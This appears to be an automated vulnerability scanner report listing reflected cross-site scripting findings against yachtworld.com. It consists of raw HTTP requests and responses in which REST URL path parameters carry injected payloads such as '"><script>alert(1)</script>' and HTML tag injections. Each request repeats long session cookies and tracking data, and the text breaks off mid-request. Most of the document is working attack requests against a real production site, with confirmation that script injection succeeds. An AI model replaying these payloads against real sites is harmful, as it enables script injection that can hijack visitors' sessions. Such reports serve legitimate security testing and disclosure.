GET /boats/category/typeca4fa"><a>2abff94b915/Carver/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:33 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d108b"><a>2cf99e126b2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Carverd108b"><a>2cf99e126b2/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:40 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d37c"><script>alert(1)</script>36ef590aaf3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Carver/18d37c"><script>alert(1)</script>36ef590aaf3 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17112"><script>alert(1)</script>593bf56583e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type17112"><script>alert(1)</script>593bf56583e/Catalina/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:27 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ef46"><a>8d04d1228f0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Catalina4ef46"><a>8d04d1228f0/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:30 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb8b8"><script>alert(1)</script>6a854ab519a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Catalina/1eb8b8"><script>alert(1)</script>6a854ab519a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 